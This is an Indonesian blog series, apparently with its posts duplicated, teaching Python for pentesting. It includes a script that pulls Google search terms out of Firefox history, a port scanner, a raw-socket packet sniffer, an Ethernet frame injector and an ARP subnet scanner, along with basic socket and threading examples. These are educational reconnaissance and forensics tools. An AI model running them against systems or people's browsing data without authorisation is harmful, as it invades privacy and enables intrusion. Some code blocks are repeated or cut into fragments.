Hmm......Sudah lama sekali ga nulis di blog :( ...
Ok kali ini saya akan mencoba untuk berbagi cara melakukan forensic terhadap 'cache' di browser firefox dengan OS Kali linux dengan menggunakan script python. Sebenarnya cara ini sudah ada di internet, hanya saja ini adalah materi belajar experimen saya ;)
File 'cache' tersebut dalam bentuk database sqlite yang tersimpan di dalam folder profile firefox (/root/.mozilla/firefox/)
Berikut ini script yang di gunakan untuk menampilkan data pencarian yang pernah di input oleh pengguna di google.
Simpan nama file firefoxForensic.py
#!/usr/bin/python
import sqlite3
import os
import re
def printGoogle(googleDB):
conn = sqlite3.connect(googleDB)
c = conn.cursor()
c.execute('select url, datetime(visit_date/1000000, \'unixepoch\') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id == moz_historyvisits.place_id;')
print '[*] --- Files Google ---'
for baris in c:
url = str(baris[0])
date = str(baris[1])
if 'google' in url.lower():
r = re.findall(r'q=.*\&', url)
if r:
search = r[0].split('&')[0]
search = search.replace('q=', '').replace('+', ' ')
print '[+] ' + date + '- Searched For : ' + search
def main():
pathName = '/root/.mozilla/firefox/s9n3cmwv.default/'
firefoxDB = os.path.join(pathName, 'places.sqlite')
printGoogle(firefoxDB)
if __name__ == "__main__":
main()
Jika script tersebut di jalankan, maka harusnya akan menampilkan seperti gambar di bawah ini.
Tapi script di atas bisa juga di modifikasi untuk melakukan analisa forensic terhadap file database sqlite lain yang berada di folder firefox (/root/.mozilla/firefox/).
Jadi selamat mencoba dan bereksperimen dengan file lain nya ;)
Jumat, 15 Juli 2016
Selasa, 13 Januari 2015
Oprek2 python ke-5
Sekarang kita belajar contoh-contoh python untuk scanning port, semoga bisa di ikuti ya ;)
Ok langsung saja kita mulai, seperti berikut.
Contoh di bawah ini, kita mencoba untuk scanning port dari suatu target IP address dengan menggunakan socket di python.
Simpan nama file portscanner.py
#!/usr/bin/python
import socket
target = input("Masukan IP address: ")
portrange = input("Masukan range port (ex: 1-10): ")
lowport = int(portrange.split('-')[0])
highport = int(portrange.split('-')[1])
print ("Scanning host ", target, "from port ", lowport, " to port ", highport)
for port in range(lowport, highport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
status = s.connect_ex((target, port))
if (status == 0):
print("Port ", port, "- open")
else:
print("Port ", port, "- closed")
s.close()
Hasil skrinsut nya dari coding di atas sebagai berikut:
Di atas tampak jika socket kita bisa mendeteksi port mana saja yang terbuka dan tertutup.
Ok cukup sampe disini dulu belajar mengenali cara kerja socket untuk scanning port ;)
Semoga sedikit mulai paham dengan cara kerja socket :D
Ok langsung saja kita mulai, seperti berikut.
Contoh di bawah ini, kita mencoba untuk scanning port dari suatu target IP address dengan menggunakan socket di python.
Simpan nama file portscanner.py
#!/usr/bin/python
import socket
target = input("Masukan IP address: ")
portrange = input("Masukan range port (ex: 1-10): ")
lowport = int(portrange.split('-')[0])
highport = int(portrange.split('-')[1])
print ("Scanning host ", target, "from port ", lowport, " to port ", highport)
for port in range(lowport, highport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
status = s.connect_ex((target, port))
if (status == 0):
print("Port ", port, "- open")
else:
print("Port ", port, "- closed")
s.close()
Hasil skrinsut nya dari coding di atas sebagai berikut:
Di atas tampak jika socket kita bisa mendeteksi port mana saja yang terbuka dan tertutup.
Ok cukup sampe disini dulu belajar mengenali cara kerja socket untuk scanning port ;)
Semoga sedikit mulai paham dengan cara kerja socket :D
Oprek2 python ke-4
Sekarang kita belajar contoh-contoh python yang berhubungan dengan socket dan cara kerja nya, semoga bisa di ikuti ya ;)
Ok langsung saja kita mulai, seperti berikut.
Contoh di bawah ini, kita mencoba membuat socket server nya. Cara kerja nya, si server akan mengirimkan pesan ke client, jika memang ada koneksi yang terhubung antara client dan server, serta jika si client yang memutuskan koneksi, maka server akan merespon dengan menampilkan error nya.
Simpan nama file server.py
#!/usr/bin/python
import socket, errno, time
# setup socket untuk listen koneksi yang masuk ke socketnya
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('192.168.229.128', 4444))
s.listen(1)
remote, address = s.accept()
print "Got connections from: ", address
while 1:
# Jika koneksi berhasil, maka server akan mengirimkan pesan ke client
try:
remote.send("message to peer\n")
time.sleep(1)
# jika koneksi terputus dari client
except socket.error, e:
if isinstance(e.args, tuple):
print "errno is %d" % e[0]
if e[0] == errno.EPIPE:
# remote peer disconnected
print "Detected remote disconnected"
else:
# determine and handle different error
pass
else:
print "socket error ", e
remote.close()
break
# jika socket ada masalah
except IOError,e:
print "Got IOError: ", e
break
Hasil skrinsut nya dari coding di atas sebagai berikut:
Di atas tampak jika koneksi dari client berhasil terhubung ke server, maka secara otomatis server akan mengirimkan pesan ke client 'message to peer'.
Tapi jika client memutuskan koneksi ke server, maka server akan meresponnya dengan error code 32, yang artinya disconnected.
Ok cukup sampe disini dulu belajar mengenali cara kerja socketnya ;)
Semoga sedikit mulai paham dengan cara kerja socket :D
Ok langsung saja kita mulai, seperti berikut.
Contoh di bawah ini, kita mencoba membuat socket server nya. Cara kerja nya, si server akan mengirimkan pesan ke client, jika memang ada koneksi yang terhubung antara client dan server, serta jika si client yang memutuskan koneksi, maka server akan merespon dengan menampilkan error nya.
Simpan nama file server.py
#!/usr/bin/python
import socket, errno, time
# setup socket untuk listen koneksi yang masuk ke socketnya
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('192.168.229.128', 4444))
s.listen(1)
remote, address = s.accept()
print "Got connections from: ", address
while 1:
# Jika koneksi berhasil, maka server akan mengirimkan pesan ke client
try:
remote.send("message to peer\n")
time.sleep(1)
# jika koneksi terputus dari client
except socket.error, e:
if isinstance(e.args, tuple):
print "errno is %d" % e[0]
if e[0] == errno.EPIPE:
# remote peer disconnected
print "Detected remote disconnected"
else:
# determine and handle different error
pass
else:
print "socket error ", e
remote.close()
break
# jika socket ada masalah
except IOError,e:
print "Got IOError: ", e
break
Hasil skrinsut nya dari coding di atas sebagai berikut:
Di atas tampak jika koneksi dari client berhasil terhubung ke server, maka secara otomatis server akan mengirimkan pesan ke client 'message to peer'.
Tapi jika client memutuskan koneksi ke server, maka server akan meresponnya dengan error code 32, yang artinya disconnected.
Ok cukup sampe disini dulu belajar mengenali cara kerja socketnya ;)
Semoga sedikit mulai paham dengan cara kerja socket :D
Rabu, 30 April 2014
Oprek2 python ke-3
Sekarang kita belajar contoh-contoh python yang berhubungan dengan network, semoga bisa di ikuti ya ;)
Ok langsung saja kita mulai, seperti berikut.
Contoh di bawah ini, kita mencoba membuat socket Server dan Client. Cara kerja nya, si client akan mengirimkan pesan ke server, dan server akan menerima pesan tersebut dan menampilkan ke layar
Simpan nama file Server.py
#!/usr/bin/python
import socket
host = "0.0.0.0"
port = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(2)
print "waiting for a client ..."
(client, (ip, sock)) = s.accept()
print "received connection from: ", ip
print "starting ECHO output ..."
data = 'dummy'
while len(data):
data = client.recv(2048)
print "client sent: ", data
client.send(data)
print "closing connection ..."
client.close()
print "shutting down server"
s.close()
Simpan nama file Client.py
#!/usr/bin/python
import socket
import sys
port = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], port))
while 1:
userInput = raw_input("please enter a string: ")
s.send(userInput)
print s.recv(2048)
s.close()
Hasil skrinsut nya dari coding di atas sebagai berikut:
Gimana, masih bisa di ikuti ya :)
Contoh di bawah ini adalah contoh lain dari socket server dan client, tapi beda nya kita hanya menyiapkan server aja, untuk client nya kita menggunakan perintah "nc" di linux.
Simpan nama file TcpServer.py
#!/usr/bin/python
import SocketServer
import socket
host = "0.0.0.0"
port = 9000
class EchoHandler(SocketServer.BaseRequestHandler):
def handle(self):
print "Got connection from: ", self.client_address
data = "dummy"
while len(data):
data = self.request.recv(1024)
print "Client sent: ", data
self.request.send(data)
print "Client kabur :)"
s = SocketServer.TCPServer((host, port), EchoHandler)
s.serve_forever()
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar untuk membuat sebuah web server sederhana dengan menggunakan python, kemudian kita akan mencoba mengakses nya melalui browser ;)
Simpan nama file WebServer.py
#!/usr/bin/python
""" Membuat HTTP Server sederhana """
import SocketServer
import SimpleHTTPServer
host = ""
port = 10000
class HttpRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == "/admin":
self.wfile.write("This page is only for Admins !")
self.wfile.write(self.headers)
else:
SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
httpServer = SocketServer.TCPServer((host, port), HttpRequestHandler)
httpServer.serve_forever()
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar gimana caranya melakukan sniffing di network dengan menggunakan python.
Perhatikan contoh di bawah ini.
Simpan nama file sniff.py
#!/usr/bin/python
import socket
import struct
import binascii
# PF_PACKET : packet interface
# SOCK_RAW : raw socket
# htons(0x800) : pilih internet protocol packet ke kernel, ref /usr/include/linux/if_ether.h
rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
packet = rawSocket.recvfrom(2048)
print 'packet: ', packet
ethernetHeader = packet[0][0:14]
eth_hdr = struct.unpack('!6s6s2s', ethernetHeader) # !6s6s2s: 6 byte type string, 6 byte type string, 2 byte type string
print 'eth_hdr: ', eth_hdr
binascii.hexlify(eth_hdr[0]) # mac dst
binascii.hexlify(eth_hdr[1]) # mac src
binascii.hexlify(eth_hdr[2]) # eth type 0x800
ipHeader = packet[0][14:34]
ip_hdr = struct.unpack('!12s4s4s', ipHeader)
print "ip_hdr: ", ip_hdr
print "Source IP Address: ", socket.inet_ntoa(ip_hdr[1]) # ntoa : network to ascii
print "Destination IP Address: ", socket.inet_ntoa(ip_hdr[2])
# initial part of the tcp header
tcpHeader = packet[0][34:54]
tcp_hdr = struct.unpack('!HH16s', tcpHeader) # 1 byte port dest, 1 byte port src, 16 byte packet
print 'tcp_hdr: ', tcp_hdr
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar gimana caranya melakukan inject mengirimkan sebuah pesan ke dalam traffic di network.
Perhatikan contoh di bawah ini.
Simpan nama file injector.py
#!/usr/bin/python
import socket
import struct
rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
rawSocket.bind(("eth0", socket.htons(0x800)))
packet = struct.pack("!6s6s2s", '\xaa\xaa\xaa\xaa\xaa\xaa', '\xbb\xbb\xbb\xbb\xbb\xbb', '\x08\x00')
rawSocket.send(packet + "Hello there")
Hasil skrinsut nya dari coding di atas sebagai berikut:
Lanjut lagi belajarnya, sekarang kita belajar untuk membuat arp scanner dengan menggunakan scapy di python
Perhatikan contoh di bawah ini.
Simpan nama file ArpScanner.py
#!/usr/bin/python
from scapy.all import *
# Subnet Scanner
for lsb in range(1,50):
ip = "10.8.9." + str(lsb)
arpRequest = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip,hwdst="ff:ff:ff:ff:ff:ff")
arpResponse = srp1(arpRequest, timeout=1, verbose=0)
if arpResponse:
print "IP: " + arpResponse.psrc + " MAC: " + arpResponse.hwsrc
Hasil skrinsut nya dari coding di atas sebagai berikut:
Ok cukup sampe disini dulu belajar nya ;)
Semoga ga pusing :D
Ok langsung saja kita mulai, seperti berikut.
Contoh di bawah ini, kita mencoba membuat socket Server dan Client. Cara kerja nya, si client akan mengirimkan pesan ke server, dan server akan menerima pesan tersebut dan menampilkan ke layar
Simpan nama file Server.py
#!/usr/bin/python
import socket
host = "0.0.0.0"
port = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(2)
print "waiting for a client ..."
(client, (ip, sock)) = s.accept()
print "received connection from: ", ip
print "starting ECHO output ..."
data = 'dummy'
while len(data):
data = client.recv(2048)
print "client sent: ", data
client.send(data)
print "closing connection ..."
client.close()
print "shutting down server"
s.close()
Simpan nama file Client.py
#!/usr/bin/python
import socket
import sys
port = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], port))
while 1:
userInput = raw_input("please enter a string: ")
s.send(userInput)
print s.recv(2048)
s.close()
Hasil skrinsut nya dari coding di atas sebagai berikut:
Gimana, masih bisa di ikuti ya :)
Contoh di bawah ini adalah contoh lain dari socket server dan client, tapi beda nya kita hanya menyiapkan server aja, untuk client nya kita menggunakan perintah "nc" di linux.
Simpan nama file TcpServer.py
#!/usr/bin/python
import SocketServer
import socket
host = "0.0.0.0"
port = 9000
class EchoHandler(SocketServer.BaseRequestHandler):
def handle(self):
print "Got connection from: ", self.client_address
data = "dummy"
while len(data):
data = self.request.recv(1024)
print "Client sent: ", data
self.request.send(data)
print "Client kabur :)"
s = SocketServer.TCPServer((host, port), EchoHandler)
s.serve_forever()
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar untuk membuat sebuah web server sederhana dengan menggunakan python, kemudian kita akan mencoba mengakses nya melalui browser ;)
Simpan nama file WebServer.py
#!/usr/bin/python
""" Membuat HTTP Server sederhana """
import SocketServer
import SimpleHTTPServer
host = ""
port = 10000
class HttpRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == "/admin":
self.wfile.write("This page is only for Admins !")
self.wfile.write(self.headers)
else:
SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
httpServer = SocketServer.TCPServer((host, port), HttpRequestHandler)
httpServer.serve_forever()
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar gimana caranya melakukan sniffing di network dengan menggunakan python.
Perhatikan contoh di bawah ini.
Simpan nama file sniff.py
#!/usr/bin/python
import socket
import struct
import binascii
# PF_PACKET : packet interface
# SOCK_RAW : raw socket
# htons(0x800) : pilih internet protocol packet ke kernel, ref /usr/include/linux/if_ether.h
rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
packet = rawSocket.recvfrom(2048)
print 'packet: ', packet
ethernetHeader = packet[0][0:14]
eth_hdr = struct.unpack('!6s6s2s', ethernetHeader) # !6s6s2s: 6 byte type string, 6 byte type string, 2 byte type string
print 'eth_hdr: ', eth_hdr
binascii.hexlify(eth_hdr[0]) # mac dst
binascii.hexlify(eth_hdr[1]) # mac src
binascii.hexlify(eth_hdr[2]) # eth type 0x800
ipHeader = packet[0][14:34]
ip_hdr = struct.unpack('!12s4s4s', ipHeader)
print "ip_hdr: ", ip_hdr
print "Source IP Address: ", socket.inet_ntoa(ip_hdr[1]) # ntoa : network to ascii
print "Destination IP Address: ", socket.inet_ntoa(ip_hdr[2])
# initial part of the tcp header
tcpHeader = packet[0][34:54]
tcp_hdr = struct.unpack('!HH16s', tcpHeader) # 1 byte port dest, 1 byte port src, 16 byte packet
print 'tcp_hdr: ', tcp_hdr
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar gimana caranya melakukan inject mengirimkan sebuah pesan ke dalam traffic di network.
Perhatikan contoh di bawah ini.
Simpan nama file injector.py
#!/usr/bin/python
import socket
import struct
rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
rawSocket.bind(("eth0", socket.htons(0x800)))
packet = struct.pack("!6s6s2s", '\xaa\xaa\xaa\xaa\xaa\xaa', '\xbb\xbb\xbb\xbb\xbb\xbb', '\x08\x00')
rawSocket.send(packet + "Hello there")
Hasil skrinsut nya dari coding di atas sebagai berikut:
Lanjut lagi belajarnya, sekarang kita belajar untuk membuat arp scanner dengan menggunakan scapy di python
Perhatikan contoh di bawah ini.
Simpan nama file ArpScanner.py
#!/usr/bin/python
from scapy.all import *
# Subnet Scanner
for lsb in range(1,50):
ip = "10.8.9." + str(lsb)
arpRequest = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip,hwdst="ff:ff:ff:ff:ff:ff")
arpResponse = srp1(arpRequest, timeout=1, verbose=0)
if arpResponse:
print "IP: " + arpResponse.psrc + " MAC: " + arpResponse.hwsrc
Hasil skrinsut nya dari coding di atas sebagai berikut:
Ok cukup sampe disini dulu belajar nya ;)
Semoga ga pusing :D
Rabu, 23 April 2014
Oprek2 python ke-2
Sekarang kita belajar contoh-contoh python lain dengan level belajar yang berbeda, semoga bisa di ikuti ya ;)
Ok langsung saja kita mulai, seperti berikut.
Contoh di bawah ini, kita mencoba untuk membedakan antara file dan directory dengan menggunakan python.
Simpan nama file listdirfile.py
#!/usr/bin/python
import os
os.mkdir("newdir")
for item in os.listdir("."):
Hasil skrinsut nya dari coding di atas sebagai berikut:
Gimana, masih bisa di ikuti ya :)
Contoh di bawah ini, kita mencoba untuk menampilkan semua file dan juga contoh membuat filter terhadap file yang akan kita tampilkan dengan menggunakan python.
Simpan nama file latglob.py
#!/usr/bin/python
import os
import glob
print "contoh tampil semuanya"
for item in glob.glob(os.path.join(".", "*")):
for item in glob.glob(os.path.join(".", "*.py")):
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar untuk clon dari sebuah proses yang kita buat dengan menggunakan python.
Simpan nama file fork-demo.py
#!/usr/bin/python
# fork : clonning a process
import os
def child_process():
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar tentang membuat thread dengan menggunakan python. Contoh coding ini jika di eksekusi, maka akan jalan terus sampai kita menghentikan proses eksekusi nya.
Perhatikan contoh di bawah ini.
Simpan nama file thread1.py
#!/usr/bin/python
import thread
import time
def worker_thread(id):
print "Main thread going for a infinite wait loop"
while True:
Hasil skrinsut nya dari coding di atas sebagai berikut:
Lanjut lagi belajarnya, sekarang kita belajar tentang queue dengan menggunakan python, cara kerja nya kita akan membuat thread sebanyak 3, kemudian kita akan membagi 6 aktifitas ke masing-masing thread tersebut dengan berurutan. Seperti ilustrasi di bawah ini.
1 | 2 | 3
--|---|--
0 | 2 | 3
1 | 5 | 6
4 | |
Perhatikan contoh di bawah ini.
Simpan nama file q1.py
#!/usr/bin/python
import threading
import Queue
import time
class WorkerThread(threading.Thread):
# constructor, parameter awal selalu self
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
# method run utk menjalankan class nya
def run(self):
print "In WorkerThread"
while True:
counter = self.queue.get()
get_worker = threading.Thread.getName(self)
print "Ordered to sleep for %d seconds on worker %s" %(counter,get_worker)
time.sleep(counter)
print "task %d on worker %s finished" %(counter,get_worker)
self.queue.task_done()
queue = Queue.Queue()
# buat thread pekerja nya
for i in range(1,4):
print "Creating WorkerThread : %d" %i
worker = WorkerThread(queue)
worker.setDaemon(True)
worker.start()
print "WorkerThread %d Created!" %i
# buat aktifitas yg akan di lakukan oleh thread pekerja nya
for j in range(7):
queue.put(j)
queue.join()
time.sleep(0)
print "All tasks over!"
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar untuk memblok Ctrl+C agar program yang kita eksekusi tidak bisa di hentikan dengan menggunakan python :)
Simpan nama file signal1.py
#!/usr/bin/python
import signal
def ctrlc_handler(signum, frm):
print "Haha! you can't kill me!"
print "Installing signal handler...."
signal.signal(signal.SIGINT, ctrlc_handler)
print "Done"
while True:
pass
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar untuk mencoba eksekusi suatu perintah di linux dengan menggunakan python :)
Simpan nama file subprocess1.py
#!/usr/bin/python
import subprocess
subprocess.call(['ps', 'aux'])
subprocess.call(['ls', '-al'])
subprocess.check_output(['ls', '-al'])
lines = subprocess.check_output(['ls'])
print lines
line_list = lines.split('\n')
print line_list
Hasil skrinsut nya dari coding di atas sebagai berikut:
Ok cukup sampe disini dulu belajar nya ;)
Ok langsung saja kita mulai, seperti berikut.
Contoh di bawah ini, kita mencoba untuk membedakan antara file dan directory dengan menggunakan python.
Simpan nama file listdirfile.py
#!/usr/bin/python
import os
os.mkdir("newdir")
for item in os.listdir("."):
- if os.path.isfile(item):
- print item + " is a file"
- elif os.path.isdir(item):
- print item + " is a directory"
- else:
- print "unknown"
Hasil skrinsut nya dari coding di atas sebagai berikut:
Contoh di bawah ini, kita mencoba untuk menampilkan semua file dan juga contoh membuat filter terhadap file yang akan kita tampilkan dengan menggunakan python.
Simpan nama file latglob.py
#!/usr/bin/python
import os
import glob
print "contoh tampil semuanya"
for item in glob.glob(os.path.join(".", "*")):
- print item
for item in glob.glob(os.path.join(".", "*.py")):
- print item
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar untuk clon dari sebuah proses yang kita buat dengan menggunakan python.
Simpan nama file fork-demo.py
#!/usr/bin/python
# fork : clonning a process
import os
def child_process():
- print "I am the child process and my PID is : %d" %os.getpid()
- print "The child is exiting"
- print "I am the parent process with PID is : %d" %os.getpid()
- childpid = os.fork()
- if childpid == 0:
- # we are inside the child
- child_process()
- else:
- # we are inside the parent process
- print "We are inside the parent process"
- print "Our child has the PID : %d" %childpid
- while True:
- pass
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar tentang membuat thread dengan menggunakan python. Contoh coding ini jika di eksekusi, maka akan jalan terus sampai kita menghentikan proses eksekusi nya.
Perhatikan contoh di bawah ini.
Simpan nama file thread1.py
#!/usr/bin/python
import thread
import time
def worker_thread(id):
- print "Thread ID %d now alive!" %id
- count = 1
- while True:
- print "Thread with ID %d has counter value %d" %(id, count)
- time.sleep(2)
- count += 1
- thread.start_new_thread(worker_thread, (i,))
print "Main thread going for a infinite wait loop"
while True:
- pass
Hasil skrinsut nya dari coding di atas sebagai berikut:
Lanjut lagi belajarnya, sekarang kita belajar tentang queue dengan menggunakan python, cara kerja nya kita akan membuat thread sebanyak 3, kemudian kita akan membagi 6 aktifitas ke masing-masing thread tersebut dengan berurutan. Seperti ilustrasi di bawah ini.
1 | 2 | 3
--|---|--
0 | 2 | 3
1 | 5 | 6
4 | |
Perhatikan contoh di bawah ini.
Simpan nama file q1.py
#!/usr/bin/python
import threading
import Queue
import time
class WorkerThread(threading.Thread):
# constructor, parameter awal selalu self
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
# method run utk menjalankan class nya
def run(self):
print "In WorkerThread"
while True:
counter = self.queue.get()
get_worker = threading.Thread.getName(self)
print "Ordered to sleep for %d seconds on worker %s" %(counter,get_worker)
time.sleep(counter)
print "task %d on worker %s finished" %(counter,get_worker)
self.queue.task_done()
queue = Queue.Queue()
# buat thread pekerja nya
for i in range(1,4):
print "Creating WorkerThread : %d" %i
worker = WorkerThread(queue)
worker.setDaemon(True)
worker.start()
print "WorkerThread %d Created!" %i
# buat aktifitas yg akan di lakukan oleh thread pekerja nya
for j in range(7):
queue.put(j)
queue.join()
time.sleep(0)
print "All tasks over!"
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar untuk memblok Ctrl+C agar program yang kita eksekusi tidak bisa di hentikan dengan menggunakan python :)
Simpan nama file signal1.py
#!/usr/bin/python
import signal
def ctrlc_handler(signum, frm):
print "Haha! you can't kill me!"
print "Installing signal handler...."
signal.signal(signal.SIGINT, ctrlc_handler)
print "Done"
while True:
pass
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar untuk mencoba eksekusi suatu perintah di linux dengan menggunakan python :)
Simpan nama file subprocess1.py
#!/usr/bin/python
import subprocess
subprocess.call(['ps', 'aux'])
subprocess.call(['ls', '-al'])
subprocess.check_output(['ls', '-al'])
lines = subprocess.check_output(['ls'])
print lines
line_list = lines.split('\n')
print line_list
Hasil skrinsut nya dari coding di atas sebagai berikut:
Ok cukup sampe disini dulu belajar nya ;)
Selasa, 22 April 2014
Oprek2 python ke-1
Saat ini saya mencoba untuk berbagi dari hasil oprek2 bahasa python, yang nanti nya akan kita gunakan untuk khusus kasus pentest ;)
Untuk materi dasar nya bisa di pelajari dari internet ya ;) karena saya memang sengaja tidak membahas dasar-dasar nya.
Ok langsung saja kita mulai, seperti berikut.
Contoh di bawah ini, logika if dengan menggunakan python, cara kerja nya user di minta untuk memasukkan suatu karakter string dan kemudian akan di cek dari beberapa kondisi yang sudah kita definiskan sebelum nya.
Simpan nama file if.py
#!/usr/bin/python
name = raw_input("siapa namamu ? ")
print "namamu adalah " + name
if name == "a":
print "kamu adalah a"
elif name == "b":
print "kamu adalah b"
else:
print "ga kenal :)"
Hasil skrinsut nya dari coding di atas sebagai berikut:
Gimana, ga susah kan :)
Sekarang lanjut kita belajar logika while dengan menggunakan python, cara kerja nya user di minta untuk memasukkan suatu angka dan kemudian akan terjadi perulangan jika user memasukkan angka di atas 10, perulangan akan berhenti jika angka yang di masukkan di bawah 10.
Simpan nama file while.py
#!/usr/bin/python
age = 20
while age > 10:
age = int(raw_input("berapa usiamu ? "))
if age > 10:
print "> 10"
else:
print "< 10"
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar untuk membuat suatu function dengan menggunakan python. Cara kerja function ini hanya mengulang dengan menggunakan logika for dari suatu karakter yang di input oleh user. Karakter yang di input harus tanpa spasi ;)
Simpan nama file func.py
#!/usr/bin/python
import sys
def print5times(line_to_print):
for count in range(0, 5):
print line_to_print
print5times(sys.argv[1])
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar agak berat, yaitu tentang class dan inheritance dengan menggunakan python. Pada dasarnya cara kerja nya mirip dengan bahasa lain, perhatikan contoh di bawah ini.
Simpan nama file class1.py
#!/usr/bin/python
class Calculator:
def __init__(self, ina, inb):
self.a = ina
self.b = inb
def add(self):
return self.a + self.b
def mul(self):
return self.a * self.b
# inheritance
class Scientific(Calculator):
def power(self):
return pow(self.a, self.b)
newCalc = Calculator(10, 20)
print 'a+b: %d' %newCalc.add()
print 'a*b: %d' %newCalc.mul()
newPow = Scientific(2, 3)
print 'a+b: %d' %newPow.add()
print 'a*b: %d' %newPow.mul()
print 'a pow b: %d' %newPow.power()
Hasil skrinsut nya dari coding di atas sebagai berikut:
Lanjut lagi belajar tentang class, tapi dengan model berbeda, agar kita bisa mengetahui variasi lain dari class :D, perhatikan contoh di bawah ini.
Simpan nama file classdemo.py
#!/usr/bin/python
class Calculator:
def __init__(self, ina, inb):
self.a = ina
self.b = inb
def add(self):
return self.a + self.b
def mul(self):
return self.a * self.b
# inheritance
class Scientific(Calculator):
def power(self):
return pow(self.a, self.b)
def quickAdd(a, b):
return a+b
Simpan nama file moduldemo.py
#!/usr/bin/python
import classdemo # panggil file classdemo.py
print 'Quick Add a+b: %d' %classdemo.quickAdd(10,20)
ins = classdemo.Scientific(5,6)
print '%d' %ins.power()
Simpan nama file moduldemo2.py
#!/usr/bin/python
from classdemo import Scientific # spesific panggil class Scientific dari file classdemo.py
ins = Scientific(5,6)
print '%d' %ins.power()
:wq
Hasil skrinsut nya dari coding di atas sebagai berikut:
Ok cukup sampe disini dulu belajar nya ;)
Untuk materi dasar nya bisa di pelajari dari internet ya ;) karena saya memang sengaja tidak membahas dasar-dasar nya.
Ok langsung saja kita mulai, seperti berikut.
Contoh di bawah ini, logika if dengan menggunakan python, cara kerja nya user di minta untuk memasukkan suatu karakter string dan kemudian akan di cek dari beberapa kondisi yang sudah kita definiskan sebelum nya.
Simpan nama file if.py
#!/usr/bin/python
name = raw_input("siapa namamu ? ")
print "namamu adalah " + name
if name == "a":
print "kamu adalah a"
elif name == "b":
print "kamu adalah b"
else:
print "ga kenal :)"
Hasil skrinsut nya dari coding di atas sebagai berikut:
Gimana, ga susah kan :)
Sekarang lanjut kita belajar logika while dengan menggunakan python, cara kerja nya user di minta untuk memasukkan suatu angka dan kemudian akan terjadi perulangan jika user memasukkan angka di atas 10, perulangan akan berhenti jika angka yang di masukkan di bawah 10.
Simpan nama file while.py
#!/usr/bin/python
age = 20
while age > 10:
age = int(raw_input("berapa usiamu ? "))
if age > 10:
print "> 10"
else:
print "< 10"
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar untuk membuat suatu function dengan menggunakan python. Cara kerja function ini hanya mengulang dengan menggunakan logika for dari suatu karakter yang di input oleh user. Karakter yang di input harus tanpa spasi ;)
Simpan nama file func.py
#!/usr/bin/python
import sys
def print5times(line_to_print):
for count in range(0, 5):
print line_to_print
print5times(sys.argv[1])
Hasil skrinsut nya dari coding di atas sebagai berikut:
Berikut nya kita belajar agak berat, yaitu tentang class dan inheritance dengan menggunakan python. Pada dasarnya cara kerja nya mirip dengan bahasa lain, perhatikan contoh di bawah ini.
Simpan nama file class1.py
#!/usr/bin/python
class Calculator:
def __init__(self, ina, inb):
self.a = ina
self.b = inb
def add(self):
return self.a + self.b
def mul(self):
return self.a * self.b
# inheritance
class Scientific(Calculator):
def power(self):
return pow(self.a, self.b)
newCalc = Calculator(10, 20)
print 'a+b: %d' %newCalc.add()
print 'a*b: %d' %newCalc.mul()
newPow = Scientific(2, 3)
print 'a+b: %d' %newPow.add()
print 'a*b: %d' %newPow.mul()
print 'a pow b: %d' %newPow.power()
Hasil skrinsut nya dari coding di atas sebagai berikut:
Lanjut lagi belajar tentang class, tapi dengan model berbeda, agar kita bisa mengetahui variasi lain dari class :D, perhatikan contoh di bawah ini.
Simpan nama file classdemo.py
#!/usr/bin/python
class Calculator:
def __init__(self, ina, inb):
self.a = ina
self.b = inb
def add(self):
return self.a + self.b
def mul(self):
return self.a * self.b
# inheritance
class Scientific(Calculator):
def power(self):
return pow(self.a, self.b)
def quickAdd(a, b):
return a+b
Simpan nama file moduldemo.py
#!/usr/bin/python
import classdemo # panggil file classdemo.py
print 'Quick Add a+b: %d' %classdemo.quickAdd(10,20)
ins = classdemo.Scientific(5,6)
print '%d' %ins.power()
Simpan nama file moduldemo2.py
#!/usr/bin/python
from classdemo import Scientific # spesific panggil class Scientific dari file classdemo.py
ins = Scientific(5,6)
